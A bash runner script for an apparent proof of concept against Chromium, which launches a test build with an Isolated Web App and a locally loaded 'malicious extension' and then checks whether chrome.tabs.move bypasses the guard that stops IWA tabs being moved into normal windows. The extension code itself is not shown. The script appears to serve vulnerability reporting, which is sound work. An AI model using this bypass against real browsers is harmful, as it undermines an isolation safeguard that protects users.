#!/bin/bash
# POC runner: chrome.tabs.move / chrome.tabs.group bypass of the IWA
# source-window check that chrome.windows.create enforces.
#
# Usage: ./run.sh [/path/to/out/asan/chrome]

HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${1:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/iwa-poc-profile.XXXXXX)"
LOG="$HERE/chrome.log"

cleanup() {
  [[ -n "$SERVER_PID" ]] && kill -9 "$SERVER_PID" 2>/dev/null
  if [[ -n "$CHROME_PID" ]]; then
    kill "$CHROME_PID" 2>/dev/null
    # Kill the whole Chrome process tree (renderers, GPU, etc.).
    for p in $(pgrep -P "$CHROME_PID" 2>/dev/null); do kill -9 "$p" 2>/dev/null; done
    sleep 1
    kill -9 "$CHROME_PID" 2>/dev/null
  fi
  rm -rf "$PROFILE" 2>/dev/null
}
trap cleanup EXIT

rm -f "$HERE/poc-result.json" "$HERE/iwa-url.txt"

# 1. Start the IWA dev-proxy / report server.
python3 "$HERE/server.py" 2> "$HERE/server.log" &
SERVER_PID=$!
sleep 1

# 2. Launch Chrome.
#    --enable-features=IsolatedWebApps,IsolatedWebAppDevMode is required on
#      Linux to install a dev-mode (proxy) IWA. This is *precondition setup*
#      (the victim has an IWA installed); on ChromeOS, IsolatedWebApps is
#      already on by default. It does NOT touch the security gate under test.
#    --install-isolated-web-app-from-url installs the IWA at startup.
#    --load-extension loads the malicious extension.
echo "[runner] launching $CHROME"
"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu --use-gl=swiftshader \
  --user-data-dir="$PROFILE" \
  --enable-features=IsolatedWebApps,IsolatedWebAppDevMode \
  --install-isolated-web-app-from-url=http://127.0.0.1:8765/ \
  --load-extension="$HERE/extension" \
  --enable-logging=stderr --v=0 \
  about:blank \
  > "$LOG" 2>&1 &
CHROME_PID=$!

# 3. Wait for the IWA to install, then extract its random isolated-app://
#    origin from the profile (it lands in Sync Data / WebApp LevelDB before
#    Preferences is flushed) and hand it to the extension via the POC server
#    (GET /iwa-url).
echo "[runner] waiting for IWA install ..."
IWA_ORIGIN=""
for i in $(seq 1 60); do
  if [[ -z "$IWA_ORIGIN" ]]; then
    IWA_ORIGIN=$(grep -raoEh "isolated-app://[a-z0-9]+" "$PROFILE" 2>/dev/null | head -n1)
  fi
  if [[ -n "$IWA_ORIGIN" ]]; then
    echo "$IWA_ORIGIN" > "$HERE/iwa-url.txt"
    echo "[runner] IWA origin: $IWA_ORIGIN"
    break
  fi
  if grep -q "Isolated Web App command line installation failed" "$LOG" 2>/dev/null; then
    echo "[runner] IWA install FAILED:"
    grep "Isolated Web App command line installation" "$LOG"
    break
  fi
  sleep 1
done
[[ -z "$IWA_ORIGIN" ]] && echo "[runner] WARNING: IWA origin not found in profile"

# 4. Wait up to 90 s for the extension to post its result.
for i in $(seq 1 90); do
  [[ -s "$HERE/poc-result.json" ]] && break
  if ! kill -0 "$CHROME_PID" 2>/dev/null; then
    echo "[runner] chrome exited early; see $LOG"
    break
  fi
  sleep 1
done

# 5. Show the result.
echo
echo "================ POC RESULT ================"
if [[ -s "$HERE/poc-result.json" ]]; then
  cat "$HERE/poc-result.json"
  echo
  if grep -q '"verdict": "VULNERABLE"' "$HERE/poc-result.json"; then
    echo
    echo ">>> VULNERABILITY CONFIRMED: chrome.tabs.move detached an IWA tab"
    echo ">>> from its app window into a TYPE_NORMAL window, bypassing the"
    echo ">>> kWindowCreateCannotMoveIwaTabError guard that windows.create has."
  fi
else
  echo "No result produced. Tail of chrome.log:"
  tail -n 80 "$LOG"
fi
echo "============================================"
